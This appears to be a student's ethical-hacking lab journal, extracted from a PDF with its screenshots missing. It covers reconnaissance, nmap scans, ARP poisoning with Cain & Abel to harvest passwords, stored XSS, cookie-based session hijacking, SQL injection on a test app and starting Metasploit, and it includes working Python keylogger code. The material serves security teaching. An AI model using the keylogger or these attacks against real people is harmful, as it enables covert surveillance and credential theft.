1

INDEX
TEACHER'S
SR.NO PRACTICAL NAME PRACTICAL
SIGNATURE
DATE
1. 1Google and Whois Reconnaissance

2. 2Password Encryption and Cracking with CrypTool and

Cain and Abel

3. 3Linux Network Analysis and ARP Poisoning

4. Port Scanning with NMap

5. Network Traffic Capture and DoS Attack with

Wireshark and Nemesy
6. Persistent Cross-Site Scripting Attack

7. Session Impersonation with Firefox and Tamper Data

8. SQL Injection Attack

9. Creating a Keylogger with Python

10. Exploiting with Metasploit (Kali Linux)

Written By Kishan Chauhan

2
Practical No.1
Aim:- Use Google and Whois for Reconnaisasance.
Step 1:- Open the WHO.is website

Step 2:- Enter the website name and hit the “Enter button”.

Written By Kishan Chauhan

3 Step 3:- Show you information about www.facebook.com

Written By Kishan Chauhan

4

Written By Kishan Chauhan

5

Written By Kishan Chauhan

6

Written By Kishan Chauhan

7
Practical No.2
Aim:- 2.1) Use CryptTool to encrypt and decrypt passwords
using RC4 algorithm.
Step 1: Write any text in this text file

Step 2: Encrypt the text by using RC4 algorithm in the number

of bits.(Symmetric(modern)>RC4 Encrypt the text

Written By Kishan Chauhan

8 Step 3: Click to Decrypt the text and It will Encrypt to Decrypt
this technic

Written By Kishan Chauhan

9 Aim: 2.2)
Perform ARP Poisoning in Windows

Step 1 : Select sniffer on the top.

Written By Kishan Chauhan

10 Step 2:- Next to folder icon click on icon name start/stop sniffer.
Select device and click on ok.

Step 3 : Click on “+” icon on the top. Click on ok.

Written By Kishan Chauhan

11 Step 4 : Shows the Connected host.

Step 5 : Select Arp at bottom.

Written By Kishan Chauhan

12 Step 6 : Click on start/stop ARP icon on top.

Step 7 : Poisoning the source.

Written By Kishan Chauhan

13 Step 8 : Go to any website on source ip address.

Step 9:- Go to password option in the cain & abel and see the
visited site password.

Written By Kishan Chauhan

14
Practical No.3
Aim: Run and analyze the output of following commands in
Linux – ifconfig, ping, netstat, traceroute

Prerequisites :
KALI Linux, Internet

Steps : 1) In Kali Linux, open terminal and enter ifconfig

2) Type command – traceroute facebook.com

Written By Kishan Chauhan

15

3) Type command – netstat

4) Type command – ping facebook.com

Written By Kishan Chauhan

16

Written By Kishan Chauhan

17 Aim:- Perform ARP poisoning on windows
Step 1: To display to contents of the ARP cache ether the
following command.

Step 2: - Open command prompt to enter ipconfig /all command

to get IP and MAC addresses. The MAC address is represented
using the Physical Address and the IP address is IPv4Address.

Step 3:- Enter the command arp -s followed by IP address and

MAC address.

Written By Kishan Chauhan

18

Step 4:- Repeat the step 1,you can find the IP address has been
resolved to the MAC address we provided and it is of a static
type.

Written By Kishan Chauhan

19
Practical No.4
Aim:- Use NMap scanner to perform port scanning of
various forms - ACK, SYN,FIN,NULL, XMAS

Prerequisites :
KALI Linux , Internet
Steps :
NOTE :For using Nmap for Kali. open Terminal and type the
below commands.
1) ACK -sA (TCP ACK scan)
It never determines open (or even open|filtered) ports.

It is used to map out firewall rulesets, determining whether they

are stateful or not and which ports are filtered.
Command: nmap -sA -T4 scanme.nmap.org

Written By Kishan Chauhan

20 2) (Stealth) Scan (-sS) :-

SYNscan is the default and most popular scan option for

good reason. It can be performed quickly, scanning
thousands of ports per second on a fast network not
hampered by intrusive firewalls.

Command: nmap -p22,113,139 scanme.nmap.org

3) FIN Scan (-sF)

Sets just the TCP FIN bit.
Command: nmap -sF -T4 192.168.0.104

4) NULL Scan (-sN)

Does not set any bits (TCP flag header is 0)
Written By Kishan Chauhan
21 Command: nmap–sN–p22scanme.nmap.org

5)XMASScan(-sX)
Sets the FIN, PSH, and URG flags, lighting the packet up like a
Christmas tree.
Command: nmap -sX -T4 192.168.0.104

Written By Kishan Chauhan

22
Practical No.5
Aim:- Use Wireshark (Sniffer) to capture network traffic and
analyze
Steps:- Download and install Wireshark
Go to Capture-> Options-> Select Ethernet with Traffic and
click on Star

You will now start seeing the network traffic

Now, go to browser and open http://techpanda.org. This is a
sitewith a dummy login for us to
test the traffic analysis.

Written By Kishan Chauhan

23 Login to the website using [email protected] and
Password2020

Nowstop the trafic analysis by clicking on Stop Capturing

packets option at top left corner

Nowlook up http in the display filter and click on POST request

with index.php

Nowexpand HTML formURL encoded to see the login

credentials we posted using the HTML

Written By Kishan Chauhan

24 form in the above website

Written By Kishan Chauhan

25
Practical No.6
Aim:- Simulate persistent cross-site scripting attack Cross-Site
Scripting (XSS) attacks are a type of injection, in which
malicious scripts are injected into otherwise benign and trusted
websites.
Steps:-
Go to browser and open http://techpanda.org. This is a site with
a dummy login for us to test the traffic analysis.

Written By Kishan Chauhan

26

Nowclick on Add New Contact option and while entering the

details, we will enter HTML anchor tag with a link to an website
as an input as shown below.

Written By Kishan Chauhan

27

Nowclick on save changes and go back to the site’s dashboard.

You will see your record added but instead of a text you will see
a hyperlink text Subiksh.Once we click on this link, it will route
to the website we mentioned in the anchor tag

Written By Kishan Chauhan

28
Practical No.7
Aim:- Session impersonation using Firefox and Tamper Data
add-on We will be using EditThisCookie Add on for Session
Impersonation and Tampering the Data.
Steps:
1) Install EditThisCookie Add on in your Firefox Browser
2) Go to browser and open http://techpanda.org. This is a site
with a dummy login for us to test the traffic analysis

3) Login to the website using [email protected] and

Password2020

Written By Kishan Chauhan

29

5) Now to the the Addon and Export the Cookie information and
paste into a notepad

Written By Kishan Chauhan

30 5) Once copied, close the browser window and go to
http://techpanda.org website again. It will again ask you
to login with a new session.
6) Go to the Add on, delete the new cookie and replace
with our previously copied cookie using Import option.

6) Now refresh the page and your previous session will be

impersonated giving you the access
without Login.
For Tamper Data, follow the below steps:
1) Go to https://www.ninjaremote.com/. and click on
Add to Cart for any one product.

2)Start to tamper data extension to show to data

Written By Kishan Chauhan

31

Written By Kishan Chauhan

32
Practical No.8
Aim:- Perform SQL injection attack.
Step 1 : Open XAMPP and start apache and mysql.

Step 2 : Go to web browser and enter

sitelocalhost/phpmyadmin.

Written By Kishan Chauhan

33 Step 5 : Go to login.php and login using admin and password

Step 6 : Opens the home page.

Written By Kishan Chauhan

34 Step 7 : Go to security setting option in left and set security
level low.

Step 8 : Click on SQL injection option in left.

Written By Kishan Chauhan

35 Step 9 : Write "1" in text box and click on submit.

Step 10 : Write "1=1” in text box and click on submit.

Written By Kishan Chauhan

36 Step 12 : Write "1*" in text box and click on submit.

Written By Kishan Chauhan

37
Practical No.9
Aim:- Create a simple keylogger using python
Code: -
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir+"key_log.txt"),
level=logging.DEBUG,
format='%(asctime)s:%(message)s:')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
Output:-

Written By Kishan Chauhan

38
Practical No.10
Aim:- Using the Metasploit to exploit(Kali Linux)
Prerequisites :
KALI Linux, Internet, HOST PC with MySQL 5.1.59
Steps:
Kali Download and install MySQL 5.1.59 on your HOST PC to
be attacked. Set a username– root and password–root123 On
your PC, using Oracle VirtualBox Open the Kali Linux. Open
terminal and enter command
Command : msfconsole

Written By Kishan Chauhan

39

Written By Kishan Chauhan

40

Written By Kishan Chauhan